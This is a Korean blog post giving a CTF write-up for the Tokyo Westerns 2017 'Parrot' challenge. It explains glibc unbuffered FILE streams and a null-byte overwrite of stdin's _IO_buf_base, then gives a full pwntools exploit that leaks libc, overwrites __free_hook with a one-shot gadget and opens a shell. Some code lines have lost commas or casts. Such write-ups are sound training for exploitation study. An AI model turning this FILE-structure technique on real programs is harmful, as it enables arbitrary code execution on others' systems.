티스토리 뷰

CTF write-up

Tokyo Westerns CTF 3rd 2017 - Parrot

marshimaro aSiagaming 2017. 10. 9. 21:14

근래에는 파일스트림 + 힙 위주의 바이너리만 보는 것 같다.

힙 루틴은 뭔가 파면 팔수록 재미도 있지만, 머리도 아프고.... ㅎㅎ


이 문제는 여러 다른방식으로도 풀 수 있지만, setvbuf를 이용한게 인상적이여서 라이트 업을 써본다.




메인함수 1개 내부에서 전부 구현되어 있고 이대로 끝이나는 간단한 바이너리이다.


setvbuf를 통해 file stream제어를 버퍼링 사용안함으로 설정한다.

즉, 임의의 heap buffer를 할당해서 데이터를 채우거나 그러한 행위를 하지않는다는 것이다.



1
2
3
 29 #define _IOFBF 0 /* Fully buffered. */
 30 #define _IOLBF 1 /* Line buffered. */
 31 #define _IONBF 2 /* No buffering. */
cs



mode에 관한 옵션은 저런식으로 정의되어 있다.



1
2
3
4
5
6
7
8
9
 80     case _IONBF:
 81       fp->_IO_file_flags &= ~_IO_LINE_BUF;
 82       fp->_IO_file_flags |= _IO_UNBUFFERED;
 83       buf = NULL;
 84       size = 0;
 85       break;
 86     default:
 87       result = EOF;
 88       goto unlock_return;
cs



3개의 모드에 대하여 switch문을 통해 제어되는데, 2번은 _IONBF니까 저 루틴을 따른다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 92 #define _IO_MAGIC 0xFBAD0000 /* Magic number */
 93 #define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
 94 #define _IO_MAGIC_MASK 0xFFFF0000
 95 #define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */
 96 #define _IO_UNBUFFERED 2
 97 #define _IO_NO_READS 4 /* Reading not allowed */
 98 #define _IO_NO_WRITES 8 /* Writing not allowd */
 99 #define _IO_EOF_SEEN 0x10
100 #define _IO_ERR_SEEN 0x20
101 #define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
102 #define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
103 #define _IO_IN_BACKUP 0x100
104 #define _IO_LINE_BUF 0x200
105 #define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
106 #define _IO_CURRENTLY_PUTTING 0x800
107 #define _IO_IS_APPENDING 0x1000
108 #define _IO_IS_FILEBUF 0x2000
109 #define _IO_BAD_SEEN 0x4000
110 #define _IO_USER_LOCK 0x8000
cs



flag값들이 이렇게 정의되어 있으며, &= ~[ value ]를 통해 플래그 값을 지운다.

그리고 |= [ value ]를 통해 해당 플래그를 설정한다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
707    #define STRING_ARG(Str, Type, Width)                                              \
708                  do if (!(flags & SUPPRESS))                                      \
709                    {                                                              \
710                      if (flags & MALLOC)                                              \
711                        {                                                              \
712                          /* The string is to be stored in a malloc'd buffer.  */ \
713                          /* For %mS using char ** is actually wrong, but              \
714                             shouldn't make a difference on any arch glibc              \
715                             supports and would unnecessarily complicate              \
716                             things. */                                              \
717                          strptr = ARG (char **);                                      \
718                          if (strptr == NULL)                                      \
719                            conv_error ();                                              \
720                          /* Allocate an initial buffer.  */                      \
721                          strsize = Width;                                              \
722                          *strptr = (char *malloc (strsize * sizeof (Type));    \
723                          Str = (Type **strptr;                                      \
724                          if (Str != NULL)                                              \
725                            add_ptr_to_free (strptr);                              \
726                          else if (flags & POSIX_MALLOC)                              \
727                            {                                                      \
728                              done = EOF;                                        
cs



그리고 이러한 루틴에서 최종적으로 flag를 확인하여 malloc을 통해 버퍼를 할당하거나 안하거나 둘 중 하나를 선택하는 것 같다.


어쨋건 해당 바이너리는 _IONBF이고, 이 파일 스트림은 stdin, stdout 두개에 설정되어 있다.

그리고 size에 대한 제한 범위가 존재하지 않으므로, *( chunkPointer + size - 1 ) = 0루틴에서 

null-byte exploit을 진행할 수 있다.


_IO_2_1_stdin_ 구조체 값을 조회해보면 아래와 같이 나오게 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
gef➤  p _IO_2_1_stdin_
$1 = {
  file = {
    _flags = 0xfbad208b,
    _IO_read_ptr = 0x7fda32355963 <_IO_2_1_stdin_+131> "\n",
    _IO_read_end = 0x7fda32355963 <_IO_2_1_stdin_+131> "\n",
    _IO_read_base = 0x7fda32355963 <_IO_2_1_stdin_+131> "\n",
    _IO_write_base = 0x7fda32355963 <_IO_2_1_stdin_+131> "\n",
    _IO_write_ptr = 0x7fda32355963 <_IO_2_1_stdin_+131> "\n",
    _IO_write_end = 0x7fda32355963 <_IO_2_1_stdin_+131> "\n",
    _IO_buf_base = 0x7fda32355963 <_IO_2_1_stdin_+131> "\n",
    _IO_buf_end = 0x7fda32355964 <_IO_2_1_stdin_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0x0,
    _flags2 = 0x10,
    _old_offset = 0xffffffffffffffff,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = "\n",
    _lock = 0x7fda32357790 <_IO_stdfile_0_lock>,
    _offset = 0xffffffffffffffff,
    _codecvt = 0x0,
    _wide_data = 0x7fda323559c0 <_IO_wide_data_0>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0xffffffff,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7fda323546e0 <_IO_file_jumps>
}
cs



_IO_buf_base의 값 하위 1byte를 null로 바꾸게 되면


1
0x7fda32355900 <_IO_2_1_stdin_+32>:    0x00007fda32355963
cs


_IO_2_1_stdin_ + 32를 가리키게 된다.

stdin으로 어떠한 입력을 주게되면, _IO_buf_base의 위치부터 입력이 새롭게 들어가게되며, 이를 통해

_IO_buf_base의 값을 임의로 줄 수 있게 된다.


Full Relro바이너리이므로, 예를 들면, __free_hook의 위치를 overwrite하게되면 현재 들어간 입력 스트림이 빠지고나서부터

새롭게 입력을 받는 것은 해당 위치부터 받게되므로, 해당위치에 원샷가젯이나 system주소를 주면 free같은 것을 호출할 때, 제어흐름을 가져올 수 있다.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
import sys, time
 
context.binary = "./parrot_mma"
binary = ELF("./parrot_mma")
 
host = "pwn2.chal.ctf.westerns.tokyo"
port = 31337
 
prog = log.progress("Exploit stage ")
 
if len(sys.argv) == 1:
    p = process(["./parrot_mma"])
    pause()
    prog.status("PID : " + str(proc.pidof(p)[0]))
 
else:
    p = remote(host, port)
 
def req_data(size, data, _send = False):
    p.recvuntil("Size:\n")
    p.sendline(str(size))
    p.recvuntil("Buffer:\n")
    if _send:
        p.send(data)
    else:
        p.sendline(data)
 
req_data(0x20"A" * 8)
req_data(0x30"B" * 8)
req_data(0x400"C" * 7)
 
p.recvuntil("C" * 7)
p.recv(1)
libc_base = u64(p.recv(8)) - 0x3c4b78
_IO_buf_base = libc_base + 0x3c4918
free_hook = libc_base + 0x3c67a8
magic = libc_base + 0x4526a
log.info("libc_base : " + hex(libc_base))
 
req_data(_IO_buf_base + 1"")
p.sendline("1".ljust(0x18"\x00"+ p64(free_hook) + p64(free_hook + 0x40+ p64(0* 6)
 
for i in xrange(0x59):
    p.sendline("")
 
p.sendline(p64(magic))
 
p.interactive()
cs



'CTF write-up' 카테고리의 다른 글

2017 Google CTF Food  (0) 2018.03.21
2017 Codegate JS World  (0) 2018.03.21
Tokyo Westerns CTF 3rd 2017 - Parrot  (0) 2017.10.09
2017 Boston Key Party CTF memo [ 300pt ]  (0) 2017.10.08
2016 HITCON house_of_orange  (0) 2017.10.07
2016 Boston Key Party simple calc  (0) 2017.10.04
댓글
댓글쓰기 폼